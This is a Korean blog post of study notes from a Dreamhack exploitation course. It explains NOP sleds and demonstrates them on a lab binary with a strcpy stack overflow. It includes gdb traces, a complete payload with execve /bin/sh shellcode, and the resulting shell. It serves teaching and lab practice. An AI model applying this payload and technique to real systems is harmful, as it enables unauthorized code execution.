Linux Exploitation & Mitigation Part 1
3. NOP Sled
NOP = "No OPeration"
xchg eax, eax와 같이 프로그램의 실행에 영향을 주지 않는 명령어이다. 프로그램이 실행 중에 NOP 명령어를 만나면 다음 명령어로 넘어가는 것 같은 효과를 준다. 주로 명령어의 주소 alignment를 맞출 때 사용된다.
x86 아키텍처의 NOP 명령어 바이트 코드
0x90
NOP Sled, 혹은 NOP Slide는 주로 셸코드의 셸코드의 주소를 정확히 알아내기 힘들 경우 큰 메모리를 확보해 셸코드의 주소의 오차 범위를 크게 만들 때 사용한다. 익스플로잇 확률을 올리는 데 큰 도우밍 된다.
0x100 주소에 셸코드가 저장되어 있다고 가정해보자. NOP Sled가 없다면 정확히 0x100 주소로 실행 흐름을 바꿔야 셸코드가 실행된다. 하지만 셸코드 앞에 0x10000바이트의 NOP Sled를 붙인다면 0x100 ~ 0x10100주소 중 임의의 주소로 실행 흐름을 바꾸기만 하면 된다. NOP Sled의 어딘가의 주소를 알아내 달라진 환경에서 해당 주소로 실행 흐름을 바꾸는 경우 평균적으로 0x10000/2만큼의 주소 오차가 허용된다.
![](https://blog.kakaocdn.net/dn/ASgvd/btqXMd8HyBN/ohLKLuDLCQKFGZSoRt8dpK/img.png)
Exploitation Using NOP Sled
NOP Sled를 이용해 새로운 공격 코드를 만들어보자. 10000바이트의 NOP Sled가 포함된 셸코드를 example1의 argv[1]에 넣은 후 gdb를 이용해 NOP Sled의 중간 지점의 주소를 찾는다.
$ gdb -q ./example1
Reading symbols from ./example1...(no debugging symbols found)...done.
(gdb) disas vuln
Dump of assembler code for function vuln:
0x0804843b <+0>: push ebp
0x0804843c <+1>: mov ebp,esp
0x0804843e <+3>: sub esp,0x20
0x08048441 <+6>: mov ecx,0x0
0x08048446 <+11>: mov eax,0x20
0x0804844b <+16>: and eax,0xfffffffc
0x0804844e <+19>: mov edx,eax
0x08048450 <+21>: mov eax,0x0
0x08048455 <+26>: mov DWORD PTR [ebp+eax*1-0x20],ecx
0x08048459 <+30>: add eax,0x4
0x0804845c <+33>: cmp eax,edx
0x0804845e <+35>: jb 0x8048455 <vuln+26>
0x08048460 <+37>: push DWORD PTR [ebp+0x8]
0x08048463 <+40>: lea eax,[ebp-0x20]
0x08048466 <+43>: push eax
0x08048467 <+44>: call 0x8048300 <strcpy@plt>
0x0804846c <+49>: add esp,0x8
0x0804846f <+52>: mov eax,0x0
0x08048474 <+57>: leave
0x08048475 <+58>: ret
End of assembler dump.
(gdb) b *0x08048467
Breakpoint 1 at 0x8048467
(gdb) r python -c 'print "A"*36+"RETN"+"\x90"*100000+"SHELLCODE"'
Starting program: ~/example1 python -c 'print "A"*36+"RETN"+"\x90"*100000+"SHELLCODE"'
Breakpoint 1, 0x08048467 in vuln ()
(gdb) x/2wx $esp
0xfffe4e54: 0xfffe4e5c 0xfffe50a9
(gdb) x/40wx 0xfffe50a9
0xfffe50a9: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffe50b9: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffe50c9: 0x41414141 0x4e544552 0x90909090 0x90909090
0xfffe50d9: 0x90909090 0x90909090 0x90909090 0x90909090
0xfffe50e9: 0x90909090 0x90909090 0x90909090 0x90909090
0xfffe50f9: 0x90909090 0x90909090 0x90909090 0x90909090
0xfffe5109: 0x90909090 0x90909090 0x90909090 0x90909090
0xfffe5119: 0x90909090 0x90909090 0x90909090 0x90909090
0xfffe5129: 0x90909090 0x90909090 0x90909090 0x90909090
0xfffe5139: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb)
vuln함수에서 strcpy함수를 호출하는 시점에 브레이크포인트를 설정해 복사버퍼인 argv[1]의 주소인 0xfffe50a9를 알아냈다. 다음으로 NOP Sled 중간 지점의 주소 argv1 + 50000을 계산해보자.
(gdb) p/x 0xfffe50a9 + 50000
$3 = 0xffff13f9
(gdb)
NOP Sled 중간 지점 주소는 0xffff13f9이다. 이 주소를 이용한 새로운 공격코드는 아래와 같다.
"A" * 36 + 0xffff13f9 + "\x90" * 100000 + shellcode
익스플로잇 시도
$ ./example1 python -c 'print "A"*36 + "\xf9\x13\xff\xff" + "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"'
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
$
셸 실행 (성공)
'시스템 해킹 > dream hack' 카테고리의 다른 글
[dream hack] ASLR (0) | 2021.02.26 |
---|---|
[dream hack] NX bit (0) | 2021.02.20 |
[dream hack] Return address overwrite (0) | 2021.02.18 |
[dream hack] Linux Exploitation & Mitigation Part 1 - 1. ELF 동적 분석 (0) | 2021.02.08 |
[dreamhack] Memory Corruption - C (I) 스택 버퍼 오버플로우 (0) | 2021.02.08 |